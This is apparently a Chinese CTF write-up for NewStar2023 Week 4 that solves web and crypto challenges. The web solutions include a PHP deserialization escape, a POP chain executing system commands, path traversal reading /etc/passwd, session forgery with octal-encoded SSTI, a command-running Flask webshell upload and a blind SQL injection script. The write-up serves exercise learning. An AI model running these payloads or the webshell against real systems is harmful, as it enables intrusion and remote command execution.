NewStar2023 Week4
S3a Lv3

week4

web

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
 <?php
highlight_file(__FILE__);
function waf($str){
return str_replace("bad","good",$str);
}

class GetFlag {
public $key;
public $cmd = "whoami";
public function __construct($key)
{
$this->key = $key;
}
public function __destruct()
{
system($this->cmd);
}
}

unserialize(waf(serialize(new GetFlag($_GET['key'])))); www-data www-data

经典的php反序列化字符逃逸

首先构造序列化代码:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
function waf($str){
return str_replace("bad","good",$str);
}

class GetFlag {
public $key='bad';
public $cmd = "ls /";
}

$a = new GetFlag();
echo serialize($a)."\n";

O:7:"GetFlag":2:{s:3:"key";s:3:"bad";s:3:"cmd";s:4:"ls /";}

我们需要逃逸的是";s:3:"cmd";s:4:"ls /";}

1
2
3
4
5
6
7
8
9
10
11
12
<?php
function waf($str){
return str_replace("bad","good",$str);
}

class GetFlag {
public $key='";s:3:"cmd";s:4:"ls /";}';
public $cmd = "ls /";
}

$a = new GetFlag();
echo serialize($a)."\n";

O:7:"GetFlag":2:{s:3:"key";s:24:"";s:3:"cmd";s:4:"ls /";}";s:3:"cmd";s:4:"ls /";}

总共24个字符,于是我们写24个bad就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
function waf($str){
return str_replace("bad","good",$str);
}

class GetFlag {
public $key='badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:4:"ls /";}';
public $cmd = "ls /";
}

$a = new GetFlag();
echo serialize($a)."\n";

$res = waf(serialize($a));
echo $res."\n";

$c = unserialize($res);
print_r($c)."\n";
echo $c->cmd;

运行结果:

1
2
3
4
5
6
7
8
O:7:"GetFlag":2:{s:3:"key";s:96:"badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:4:"ls /";}";s:3:"cmd";s:4:"ls /";}
O:7:"GetFlag":2:{s:3:"key";s:96:"goodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgood";s:3:"cmd";s:4:"ls /";}";s:3:"cmd";s:4:"ls /";}
GetFlag Object
(
[key] => goodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgood
[cmd] => ls /
)
ls /

payload:

key = badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:4:"ls /";}"

image

接着构造payload查看flag

/?key=.badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:9:"cat /flag";}

image

More Fast

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
 <?php
highlight_file(__FILE__);

class Start{
public $errMsg;
public function __destruct() {
die($this->errMsg);
}
}

class Pwn{
public $obj;
public function __invoke(){
$this->obj->evil();
}
public function evil() {
phpinfo();
}
}

class Reverse{
public $func;
public function __get($var) {
($this->func)();
}
}

class Web{
public $func;
public $var;
public function evil() {
if(!preg_match("/flag/i",$this->var)){
($this->func)($this->var);
}else{
echo "Not Flag";
}
}
}

class Crypto{
public $obj;
public function __toString() {
$wel = $this->obj->good;
return "NewStar";
}
}

class Misc{
public function evil() {
echo "good job but nothing";
}
}

$a = @unserialize($_POST['fast']);
throw new Exception("Nope");
Fatal error: Uncaught Exception: Nope in /var/www/html/index.php:55 Stack trace: #0 {main} thrown in /var/www/html/index.php on line 55

首先就是构造pop链:

//目的是触发Web中的evil函数 执行 system (cat /f*)

//需要触发Web->evil()函数 就需要触发Pwn中的__invoke()方法

//需要触发Pwn中的__invoke()方法 就需要触发Reverse中的__get()方法 –> 调用不存在的成员属性

//需要触发Reverse中的__get()方法 就需要触发Crypto中的__toString()方法 –> 被当成一个对象时调用

//需要触发Crypto中的__toString()方法 就需要通过start中的__destruct()方法

所以完整的pop链:__destruct()->__toString()->__get($var)->__invoke()->Web

构造poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
class Start{
public $errMsg;
}

class Pwn{
public $obj;

}

class Reverse{
public $func;

}

class Web{
public $func = "system";
public $var = "cat /f*";
}

class Crypto{
public $obj;

}

$a = new Start();
$a->errMsg = new Crypto();
$b = $a->errMsg;
$b->obj = new Reverse();
$c = $b->obj;
$c->func = new Pwn();
$d = $c->func;
$d->obj = new Web();
echo serialize($a);

O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:7:"cat /f*";}}}}}

根据题目提示以及源代码中出现throw new Exception("Nope");

这会导致反序列化之后直接经过异常报错,导致后面的__destruct() 无法触发

快速触发destruct

  1. 修改序列化数字的个数

    原paylaod:O:5:”Start”:1:{s:6:”errMsg”;O:6:”Crypto”:1:{s:3:”obj”;O:7:”Reverse”:1:{s:4:”func”;O:3:”Pwn”:1:{s:3:”obj”;O:3:”Web”:2:{s:4:”func”;s:6:”system”;s:3:”var”;s:7:”cat /f*”;}}}}}

    现payload:O:5:”Start”:2:{s:6:”errMsg”;O:6:”Crypto”:1:{s:3:”obj”;O:7:”Reverse”:1:{s:4:”func”;O:3:”Pwn”:1:{s:3:”obj”;O:3:”Web”:2:{s:4:”func”;s:6:”system”;s:3:”var”;s:7:”cat /f*”;}}}}}

  2. 去掉序列化尾部(去掉生成的序列化字符串最后的一个大括号)

    O:5:”Start”:1:{s:6:”errMsg”;O:6:”Crypto”:1:{s:3:”obj”;O:7:”Reverse”:1:{s:4:”func”;O:3:”Pwn”:1:{s:3:”obj”;O:3:”Web”:2:{s:4:”func”;s:6:”system”;s:3:”var”;s:7:”cat /f*”;}}}}

知识点:

  1. PHP中,如果单独执行unserialize函数进行常规的反序列化,那么被反序列化后的整个对象的生命周期就仅限于这个函数执行的生命周期,当这个函数执行完毕,这个类就没了,在有析构函数的情况下就会执行它。

  2. PHP中,如果用一个变量接住反序列化函数的返回值,那么被反序列化的对象其生命周期就会变长,由于它一直都存在于这个变量当中,那么在PHP脚本走完流程之后,这个对象才会被销毁,在有析构函数的情况下就会将其执行。

InjectMe

考点:目录穿越+session伪造+SSTI bypass

dockerfile:

1
2
3
4
5
6
FROM vulhub/flask:1.1.1
ENV FLAG=flag{not_here}
COPY src/ /app
RUN mv /app/start.sh /start.sh && chmod 777 /start.sh
CMD [ "/start.sh" ]
EXPOSE 8080

根据题目提示穿越我的秘密,狠狠地注入!以及打开题目点击图片,点到110.jpg发现 是python的flask框架

image

猜测可能是目录穿越,由于写到将“../”替换成“”,于是构造..././..././..././..././etc/passwd–>../../../../etc/passwd 或者 ....//....//....//....//etc/passwd

下载文件得到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin

没有发现有用信息,接着找到dockerfile文件中存在app目录,于是猜测服务器运行代码app.py代码存在其中,访问下载 ....//....//....//....//app/app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
import os
import re

from flask import Flask, render_template, request, abort, send_file, session, render_template_string
from config import secret_key

app = Flask(__name__)
app.secret_key = secret_key


@app.route('/')
def hello_world(): # put application's code here
return render_template('index.html')


@app.route("/cancanneed", methods=["GET"])
def cancanneed():
all_filename = os.listdir('./static/img/')
filename = request.args.get('file', '')
if filename:
return render_template('img.html', filename=filename, all_filename=all_filename)
else:
return f"{str(os.listdir('./static/img/'))} <br> <a href=\"/cancanneed?file=1.jpg\">/cancanneed?file=1.jpg</a>"


@app.route("/download", methods=["GET"])
def download():
filename = request.args.get('file', '')
if filename:
filename = filename.replace('../', '')
filename = os.path.join('static/img/', filename)
print(filename)
if (os.path.exists(filename)) and ("start" not in filename):
return send_file(filename)
else:
abort(500)
else:
abort(404)


@app.route('/backdoor', methods=["GET"])
def backdoor():
try:
print(session.get("user"))
if session.get("user") is None:
session['user'] = "guest"
name = session.get("user")
if re.findall(
r'__|{{|class|base|init|mro|subclasses|builtins|globals|flag|os|system|popen|eval|:|\+|request|cat|tac|base64|nl|hex|\\u|\\x|\.',
name):
abort(500)
else:
return render_template_string(
'竟然给<h1>%s</h1>你找到了我的后门,你一定是网络安全大赛冠军吧!😝 <br> 那么 现在轮到你了!<br> 最后祝您玩得愉快!😁' % name)
except Exception:
abort(500)


@app.errorhandler(404)
def page_not_find(e):
return render_template('404.html'), 404


@app.errorhandler(500)
def internal_server_error(e):
return render_template('500.html'), 500


if __name__ == '__main__':
app.run('0.0.0.0', port=8080)

审计源码发现:from config import secret_key 以及@app.route('/backdoor', methods=["GET"])

  1. from config import secret_key,首先根据此猜测可能存在config.py文件,其中存在secret_key

于是访问下载....//....//....//....//app/config.py

得到:secret_key = "y0u_n3ver_k0nw_s3cret_key_1s_newst4r"

  1. 伪造seesion,进行模板注入,有关键字过滤,可以使用八进制绕过

官方脚本更改相关信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import re
import requests
import subprocess


# 把这个下载了,需要使用里面的flask-session-cookie-manager3.py
# https://github.com/noraj/flask-session-cookie-manager
def string_to_octal_ascii(s):
octal_ascii = ""
for char in s:
char_code = ord(char)
octal_ascii += "\\\\" + format(char_code, '03o')
# octal_ascii += "\\\\" + format(char_code, 'o')
return octal_ascii


secret_key = "y0u_n3ver_k0nw_s3cret_key_1s_newst4r"
# payload = "{%print(7*7)%}"
# payload = "{%print(\"\"\\\\u005f\\\\u005f\"\")%}"
# payload = "{%print(\"\"\\\\x5f\\\\x5f\"\")%}"
eval_shell = "\"\"" + string_to_octal_ascii("__import__(\"os\").popen(\"cat /*\").read()") + "\"\""
print(eval_shell)
# docker部署&windows运行payload
# {{x.__init__.__globals__.__builtins__.eval('__import__("os").popen("dir").read()')}}
payload = "{{%print(xxx|attr(\"\"\\\\137\\\\137\\\\151\\\\156\\\\151\\\\164\\\\137\\\\137\"\")|attr(\"\"\\\\137\\\\137\\\\147\\\\154\\\\157\\\\142\\\\141\\\\154\\\\163\\\\137\\\\137\"\")|attr(\"\"\\\\137\\\\137\\\\147\\\\145\\\\164\\\\151\\\\164\\\\145\\\\155\\\\137\\\\137\"\")(\"\"\\\\137\\\\137\\\\142\\\\165\\\\151\\\\154\\\\164\\\\151\\\\156\\\\163\\\\137\\\\137\"\")|attr(\"\"\\\\137\\\\137\\\\147\\\\145\\\\164\\\\151\\\\164\\\\145\\\\155\\\\137\\\\137\"\")(\"\"\\\\145\\\\166\\\\141\\\\154\"\")({0}))%}}".format(eval_shell)
print(payload)
command = "D:\\program\\python3\\python.exe flask_session_cookie_manager3.py encode -s \"{0}\" -t \"{{'user':'{1}'}}\"".format(secret_key, payload)
print(command)
session_data = subprocess.check_output(command, shell=True)
print(session_data)
# linux和windows换行不一样,linux是去掉最后一个,windows是最后两个。
session_data = session_data[:-2].decode('utf-8')
# session_data = session_data[:-1].decode('utf-8')
print(session_data)
url = "http://0b401771-d36b-47ca-8971-2b9dedf4b9e0.node4.buuoj.cn:81/backdoor"
cookies = {"session": session_data}
res = requests.get(url=url, cookies=cookies)
# print(res.text)
pattern = r'<h1>(.*)</h1>'
result_content = re.search(pattern, res.text, re.S)
# print(result_content)
if result_content:
result = result_content.group(1)
print(result)
else:
print("something wrong!")

flask disk

点开题目出现 list fileupload filesadmin manage

依次点击,到admin manage出现

image

这能得到是python flask框架,说明flask开启了debug模式,在debug模式下app.py源文件被修改后会立刻加载,只需上传一个能rce的app.py文件把原来的覆盖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from flask import Flask,request
import os
app = Flask(__name__)
@app.route('/')
def index():
try:
cmd = request.args.get('cmd')
date = os.popen(cmd).read()
return date
except:
pass

return "1"
if __name__ == '__main__':
app.run(host='0.0.0.0',port=5000,debug=True)

from flask import Flask, request:导入了Flask框架以及request模块,用于创建Web应用程序和处理HTTP请求。

import os:导入了Python的os模块,用于执行操作系统命令。

app = Flask(_name_):创建一个Flask应用程序实例。

@app.route(‘/‘):定义了一个路由,当用户访问根路径(‘/‘)时,将执行下面的index函数。

def index():定义了一个名为index的函数,用于处理用户的HTTP请求。

cmd = request.args.get(‘cmd’):从HTTP请求的查询参数中获取名为’cmd’的参数的值,该值应该包含一个要执行的操作系统命令。

date = os.popen(cmd).read():使用os.popen执行获取到的命令,并将执行结果存储在date变量中。

return date:将命令执行结果返回给客户端,这意味着如果用户提供了合法的操作系统命令,服务器将执行该命令并返回结果。return “1”:如果没有提供’cmd’参数或发生异常,服务器将返回字符串”1”。

接着访问:http://f003e914-33c2-4635-9170-1b7cb9c5f4a8.node4.buuoj.cn:81/?cmd=ls%20/

http://f003e914-33c2-4635-9170-1b7cb9c5f4a8.node4.buuoj.cn:81/?cmd=cat%20/flag

midsql

考察sql时间盲注,过滤了空格,无回显

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import time
import requests

result = ''
last = ' '

for i in range(1, 1000):
for j in range(127, 31, -1):
url = 'http://3498ba56-0b4f-4a64-b19a-4ef45047e7df.node4.buuoj.cn:81/?id='
# payload = f'1/**/and/**/if((ascii(substr((select/**/group_concat(schema_name)/**/from/**/information_schema.schemata),{i},1))>{j}),sleep(3),0)' # information_schema,mysql,performance_schema,sys,test,ctf
# payload = f'1/**/and/**/if((ascii(substr((select/**/database()),{i},1))>{j}),sleep(3),0)'
# payload = f'1/**/and/**/if((ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/"ctf"),{i},1))>{j}),sleep(3),0)'
# payload = f'1/**/and/**/if((ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/"items"),{i},1))>{j}),sleep(3),0)' # id,name,price
# payload = f'1/**/and/**/if((ascii(substr((select/**/group_concat(price)/**/from/**/ctf.items),{i},1))>{j}),sleep(3),0)'
# payload = f'1/**/and/**/if((ascii(substr((select/**/group_concat(id,0x3a,name,0x3a,price)/**/from/**/ctf.items),{i},1))>{j}),sleep(3),0)'
payload = f'1/**/and/**/if((ascii(substr((select/**/group_concat(name)/**/from/**/ctf.items),{i},1))>{j}),sleep(4),0)'
url = url + payload
# print(url)
start_time = time.time()
response = requests.get(url=url)
end_time = time.time()
if (end_time - start_time) >3:
last = result
result += chr(j + 1)
break
print(result)

crypto

RSA Variation II

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from secret import flag
from Crypto.Util.number import *

p = getPrime(1024)
q = getPrime(1024)

N = p*p*q

d= inverse(N, (p-1)*(q-1)//GCD(p-1, q-1))

m = bytes_to_long(flag)

c = pow(m, N, N)

print('c =', c)
print('N =', N)
print('d =', d)

# c = 1653396627113549535760516503668455111392369905404419847336187180051939350514408518095369852411718553340156505246372037811032919080426885042549723125598742783778413642221563616358386699697645814225855089454045984443096447166740882693228043505960011332616740785976743150624114653594631779427044055729185392854961786323215146318588164139423925400772680226861699990332420246447180631417523181196631188540323779487858453719444807515638025771586275969579201806909799448813112034867089866513864971414742370516244653259347267231436131850871346106316007958256749016599758599549180907260093080500469394473142003147643172770078092713912200110043214435078277125844112816260967490086038358669788006182833272351526796228536135638071670829206746835346784997437044707950580087067666459222916040902038574157577881880027391425763503693184264104932693985833980182986816664377018507487697769866530103927375926578569947076633923873193100147751463
# N = 1768427447158131856514034889456397424027937796617829756303525705316152314769129050888899742667986532346611229157207778487065194513722005516611969754197481310330149721054855689646133721600838194741123290410384315980339516947257172981002480414254023253269098539962527834174781356657779988761754582343096332391763560921491414520707112852896782970123018263505426447126195645371941116395659369152654368118569516482251442513192892626222576419747048343942947570016045016127917578272819812760632788343321742583353340158009324794626006731057267603803701663256706597904789047060978427573361035171008822467120148227698893238773305320215769410594974360573727150122036666987718934166622785421464647946084162895084248352643721808444370307254417501852264572985908550839933862563001186477021313236113690793843893640190378131373214104044465633483953616402680853776480712599669132572907096151664916118185486737463253559093537311036517461749439
# d = 20650646933118544225095544552373007455928574480175801658168105227037950105642248948645762488881219576174131624593293487325329703919313156659700002234392400636474610143032745113473842675857323774566945229148664969659797779146488402588937762391470971617163496433008501858907585683428652637958844902909796849080799141999490231877378863244093900363251415972834146031490928923962271054053278056347181254936750536280638321211545167520935870220829786490686826062142415755063724639110568511969041175019898031990455911525941036727091961083201123910761290998968240338217895275414072475701909497518616112236380389851984377079

根据题目提示Schmidt-Samoa密码

  1. Schmidt-Samoa密码系统

Schmidt-Samoa密码系统,像rabin加密一样,其安全性基于整数因式分解的难度。但 Rabin 解密时会得到四个解,而 Schmidt-Samor 得到的是唯一解。

  1. 密钥生成

​ 1.选取两个大的质数p和q并进行计算 N = p^2^q

​ 2.计算 d = invert (N , φ (pq))

  1. 加密

对消息m,计算密文 C = m^N^ mod N

  1. 解密

计算明文 m = C^d^ mod pq

举例:

  • p=7, q=11, N=p^2^q=539 , d = N ^-1^ mod lcm ( p − 1 , q − 1 ) = 29
  • m = 32 , c = m^N^ mod N = 373

验证:

m=c^d^ mod pq = 373 ^29^ mod pq = 373^29^ mod 77 = 32

关于获取pq的问题

由 N = p ^2^ ∗ q , d * N = 1 mod (q-1) (p-1)通过欧拉定理可以得到:

a ^(p1-)(q-1)^ ≡ 1 mod pq

所以:

a^N^ ∗ d = a^1+k∗(q−1)(p−1)^ ≡ a∗a^k∗(q−1)(p−1)^=a mod pq

所以:

k ∗ pq=a^N∗d^ − a
pq = gcd(a^N*d^ - a,N)
因为a的取值可以是 a = 2,3,4,5…,这里方便计算我们取 2

解密exp:

1
2
3
4
5
6
7
8
9
10
11
12
from libnum import*

N = 1768427447158131856514034889456397424027937796617829756303525705316152314769129050888899742667986532346611229157207778487065194513722005516611969754197481310330149721054855689646133721600838194741123290410384315980339516947257172981002480414254023253269098539962527834174781356657779988761754582343096332391763560921491414520707112852896782970123018263505426447126195645371941116395659369152654368118569516482251442513192892626222576419747048343942947570016045016127917578272819812760632788343321742583353340158009324794626006731057267603803701663256706597904789047060978427573361035171008822467120148227698893238773305320215769410594974360573727150122036666987718934166622785421464647946084162895084248352643721808444370307254417501852264572985908550839933862563001186477021313236113690793843893640190378131373214104044465633483953616402680853776480712599669132572907096151664916118185486737463253559093537311036517461749439
#N = p^2*q
d = 20650646933118544225095544552373007455928574480175801658168105227037950105642248948645762488881219576174131624593293487325329703919313156659700002234392400636474610143032745113473842675857323774566945229148664969659797779146488402588937762391470971617163496433008501858907585683428652637958844902909796849080799141999490231877378863244093900363251415972834146031490928923962271054053278056347181254936750536280638321211545167520935870220829786490686826062142415755063724639110568511969041175019898031990455911525941036727091961083201123910761290998968240338217895275414072475701909497518616112236380389851984377079
c = 1653396627113549535760516503668455111392369905404419847336187180051939350514408518095369852411718553340156505246372037811032919080426885042549723125598742783778413642221563616358386699697645814225855089454045984443096447166740882693228043505960011332616740785976743150624114653594631779427044055729185392854961786323215146318588164139423925400772680226861699990332420246447180631417523181196631188540323779487858453719444807515638025771586275969579201806909799448813112034867089866513864971414742370516244653259347267231436131850871346106316007958256749016599758599549180907260093080500469394473142003147643172770078092713912200110043214435078277125844112816260967490086038358669788006182833272351526796228536135638071670829206746835346784997437044707950580087067666459222916040902038574157577881880027391425763503693184264104932693985833980182986816664377018507487697769866530103927375926578569947076633923873193100147751463

pq = gcd(pow(2,d*N,N)-2,N)

m = pow(c,d,pq)
print(n2s(m))

signin[官方解]

  • 考点: p-1光滑,多次rabin

  • FLAG:flag{new1sstar_welcome_you}

  • 解题步骤

1
2
3
4
5
6
7
def uniPrime(bits):    
while True:
n = 2
while n.bit_length() < bits:
n *= choice(sieve_base)
if isPrime(n + 1):
return n + 1

阅读代码可知p-1光滑,可以用如下方式分解

image

再来看e,e=65536*3

可以看作 2*163,那么对rabin解密后的结果再次rabin,共16次rabin解密

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from Crypto.Util.number import *
N= 3326716005321175474866311915397401254111950808705576293932345690533263108414883877530294339294274914837424580618375346509555627578734883357652996005817766370804842161603027636393776079113035745495508839749006773483720698066943577445977551268093247748313691392265332970992500440422951173889419377779135952537088733
c= 2709336316075650177079376244796188132561250459751152184677022745551914544884517324887652368450635995644019212878543745475885906864265559139379903049221765159852922264140740839538366147411533242116915892792672736321879694956051586399594206293685750573633107354109784921229088063124404073840557026747056910514218246
import gmpy2
a = 2
n = 2
while True:
a = pow(a, n, N)
res = gmpy2.gcd(a-1, N)
if res != 1 and res != N:
q = N // res
p = res
break
n += 1
print(2**16)
e=65536*3
n = p*q
x0=gmpy2.invert(p,q)
x1=gmpy2.invert(q,p)
cs = [c]
for i in range(16):
ps = []
for c2 in cs:
r = pow(c2, (p + 1) // 4, p)
s = pow(c2, (q + 1) // 4, q)
x = (r * x1 * q + s * x0 * p) % n
y = (r * x1 * q - s * x0 * p) % n
if x not in ps:
ps.append(x)
if n - x not in ps:
ps.append(n - x)
if y not in ps:
ps.append(y)
if n - y not in ps:
ps.append(n - y)
cs = ps
for m in ps:
flag = long_to_bytes(gmpy2.iroot(m,3)[0])
print(flag)

官方WriteUp:https://shimo.im/docs/gXqmdVvbOEsXpo3o/read

BabyNRTU[官方解]

  • 考点:NTRU 格攻击在二维的情形

  • FLAG:flag{Lattice_reduction_magic_on_NTRU#82b08b2d}

  • 解题步骤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from Crypto.Util.number import long_to_bytes


# h,q = (8916452722821418463248726825721257021744194286874706915832444631771596616116491775091473142798867278598586482678387668986764461265131119164500473719939894343163496325556340181429675937641495981353857724627081847304246987074303722642172988864138967404024201246050387152854001746763104417773214408906879366958729744259612777257542351501592019483745621824894790096639205771421560295175633152877667720038396154571697861326821483170835238092879747297506606983322890706220824261581533324824858599082611886026668788577757970984892292609271082176311433507931993672945925883985629311514143607457603297458439759594085898425992, 31985842636498685945330905726539498901443694955736332073639744466389039373143618920511122288844282849407290205804991634167816417468703459229138891348115191921395278336695684210437130681337971686008048054340499654721317721241239990701099685207253476642931586563363638141636011941268962999641130263828151538489139254625099330199557503153680089387538863574480134898211311252227463870838947777479309928195791241005127445821671684607237706849308372923372795573732000365072815112119533702614620325238183899266147682193892866330678076925199674554569018103164228278742151778832319406135513140669049734660019551179692615505961)
# e = 20041713613876382007969284056698149007154248857420752520496829246324512197188211029665990713599667984019715503486507126224558092176392282486689347953069815123212779090783909545244160318938357529307482025697769394114967028564546355310883670462197528011181768588878447856875173263800885048676190978206851268887445527785387532167370943745180538168965461612097037041570912365648125449804109299630958840398397721916860876687808474004391843869813396858468730877627733234832744328768443830669469345926766882446378765847334421595034470639171397587395341977453536859946410431252287203312913117023084978959318406160721042580688
"""
from sage.all import *
from Crypto.Util.number import long_to_bytes
h, q = (8916452722821418463248726825721257021744194286874706915832444631771596616116491775091473142798867278598586482678387668986764461265131119164500473719939894343163496325556340181429675937641495981353857724627081847304246987074303722642172988864138967404024201246050387152854001746763104417773214408906879366958729744259612777257542351501592019483745621824894790096639205771421560295175633152877667720038396154571697861326821483170835238092879747297506606983322890706220824261581533324824858599082611886026668788577757970984892292609271082176311433507931993672945925883985629311514143607457603297458439759594085898425992, 31985842636498685945330905726539498901443694955736332073639744466389039373143618920511122288844282849407290205804991634167816417468703459229138891348115191921395278336695684210437130681337971686008048054340499654721317721241239990701099685207253476642931586563363638141636011941268962999641130263828151538489139254625099330199557503153680089387538863574480134898211311252227463870838947777479309928195791241005127445821671684607237706849308372923372795573732000365072815112119533702614620325238183899266147682193892866330678076925199674554569018103164228278742151778832319406135513140669049734660019551179692615505961)
e = 20041713613876382007969284056698149007154248857420752520496829246324512197188211029665990713599667984019715503486507126224558092176392282486689347953069815123212779090783909545244160318938357529307482025697769394114967028564546355310883670462197528011181768588878447856875173263800885048676190978206851268887445527785387532167370943745180538168965461612097037041570912365648125449804109299630958840398397721916860876687808474004391843869813396858468730877627733234832744328768443830669469345926766882446378765847334421595034470639171397587395341977453536859946410431252287203312913117023084978959318406160721042580688
M = Matrix(ZZ, [
[1, h],
[0, q]
])
for v in M.LLL():
f, g = v
a = e*f % q
m = a * inverse_mod(f, g) % g
if b'flag' in long_to_bytes(m):
print(long_to_bytes(m)

"""
m = 240545625414656445795697416299836828697587638044418742943136404284040669983557024929358783705357829768985339005
print(long_to_bytes(m))

Smart[官方解]

  • 考点:ECC Smart attack(椭圆曲线trace of Frobenius = 1的情形)

  • FLAG:flag{m1nd_y0ur_p4rameter#167d}

  • 解题步骤.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
"""
考点:ECC Smart attack(椭圆曲线trace of Frobenius = 1的情形)
FLAG:flag{m1nd_y0ur_p4rameter#167d}
# 解题步骤
"""

from Crypto.Util.number import *
from sage.all import *
def lift_point(E, P):
R = P.base_ring()
x, y = map(ZZ, P.xy())
PP = E.lift_x(x, all=True)
for pt in PP:
_, yy = map(R, pt.xy())
if y == yy:
return pt
p = 75206427479775622966537995406541077245842499523456803092204668034148875719001
a = 40399280641537685263236367744605671534251002649301968428998107181223348036480
b = 34830673418515139976377184302022321848201537906033092355749226925568830384464
E = EllipticCurve(GF(p), [a, b])
G = E(63199291976729017585116731422181573663076311513240158412108878460234764025898, 11977959928854309700611217102917186587242105343137383979364679606977824228558)
P = E(75017275378438543246214954287362349176908042127439117734318700769768512624429, 39521483276009738115474714281626894361123804837783117725653243818498259351984)
EE = E = EllipticCurve(Qp(p), [int(a) + p * ZZ.random_element(1, p) for a in E.a_invariants()])
x, y = map(ZZ, P.xy())
GG = lift_point(EE, G)
PP = lift_point(EE, P)
Gp = p * GG
Pp = p * PP
Gx, Gy = Gp.xy()
Px, Py = Pp.xy()
d = ZZ((Px / Py) / (Gx / Gy)) % p

# d = 706900059475062772067312229965334421909675651947459433421022963709731965
print(long_to_bytes(d))

error[官方解]

  • 考点 lwe

  • FLAG:flag{try_lear1n_wi0h_t1e_error}

  • 解题步骤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
"""
考点 lwe
FLAG:flag{try_lear1n_wi0h_t1e_error}
解题步骤
"""
import re
s2n=lambda x: [int(x) for x in re.findall(r"\-?\d+\.?\d*",x)]
f=open("./enc.out","r").readlines()
m = 66
n = 200
p = 5
q = 2^20
B = [s2n(f[i]) for i in range(m)]
A = [s2n(f[i+66]) for i in range(m)]
C = [s2n(f[i+132]) for i in range(m)]
# print(A)
# print(B)
# print(C)

b= list(matrix(ZZ,s2n(f[-1])))
m=A+B+C+b
M = matrix(ZZ,m)
L = M.LLL()
print(L[0])
res=M.solve_left(L[0])
for i in res[:-1]:
print(chr(abs(i)),end="")

官方WriteUp:https://shimo.im/docs/gXqmdVvbOEsXpo3o/

 Comments
Comment plugin failed to load
Loading comment plugin